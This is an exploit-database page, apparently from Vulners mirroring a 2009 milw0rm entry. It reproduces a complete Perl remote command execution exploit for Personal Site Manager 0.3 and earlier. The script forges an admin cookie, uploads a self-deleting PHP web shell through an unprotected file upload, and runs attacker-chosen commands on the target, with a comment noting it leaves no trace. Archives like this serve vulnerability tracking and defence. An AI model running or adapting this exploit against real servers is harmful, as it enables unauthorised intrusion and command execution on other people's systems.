Lucene search
K

Personal Site Manager <= 0.3 Remote Command Execution Exploit

🗓️ 29 Jan 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Personal Site Manager <= 0.3 Remote Command Execution Exploi

Code

                                                # --+++===========================================================================+++--
# --+++====== Personal Site Manager &lt;= 0.3 Remote Command Execution Exploit ======+++--
# --+++===========================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use IO::Socket;

my $hostname = shift;
my $path = shift;
my $cmd = join &quot; &quot;, @ARGV;

usage () if (!$path);

open SHELL, &quot;&gt;shell.php&quot;;

# shell.php will be delete, it won't leave any trace about exploit's run
print SHELL &quot;&lt;? system (\$_GET ['cmd']); unlink ('shell.php'); ?&gt;&quot;;
close SHELL;

my $url = &quot;http://${hostname}${path}/psm/upload_file.php?submit=banane&quot;;
my $lwp = LWP::UserAgent-&gt;new;

# This CMS is also vulnerable to Insicure Cookie Handling
$lwp-&gt;default_header('Cookie' =&gt; &quot;PSMADMIN=true&quot;);

my $req = $lwp-&gt;request (
              POST $url,
              Content_Type =&gt; 'multipart/form-data',
               Content      =&gt; [upload =&gt; [&quot;shell.php&quot;]],
             );
unlink (&quot;shell.php&quot;);

if ($req-&gt;is_success)
{
    my $sock = new IO::Socket::INET (
        PeerHost =&gt; $hostname,
        PeerPort =&gt; 80,
        Proto    =&gt; &quot;tcp&quot;,
    );
    print &quot;\n[+] Running ${cmd}...\n\n&quot;;
    $cmd =~ s/ /%20/g;
    print $sock &quot;GET ${path}/psm/datastore/files/shell.php?cmd=${cmd}\r\n\r\n&quot;;
    
    print $_ while (&lt;$sock&gt;);

    close ($sock);
    print &quot;\n&quot;;
}
else
{
    print &quot;[-] Unable to end execution.\n&quot;;
}

sub usage
{
    die &quot;\n[+] Personal Site Manager &lt;= 0.3 Remote Command Execution Exploit&quot;.
        &quot;\n[+] Author  : darkjoker&quot;.
        &quot;\n[+] Site    : http://darkjoker.net23.net&quot;.
        &quot;\n[+] Download: http://garr.dl.sourceforge.net/sourceforge/psm/psm_0_3.zip&quot;.
        &quot;\n[+] Usage   : perl ${0} &lt;hostname&gt; &lt;path&gt; &lt;cmd&gt;&quot;.
        &quot;\n[+] Ex.     : perl ${0} localhost /PSM ls -l&quot;.
        &quot;\n\n&quot;;
}

# milw0rm.com [2009-01-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2009 00:00Current
7.1High risk
Vulners AI Score7.1
20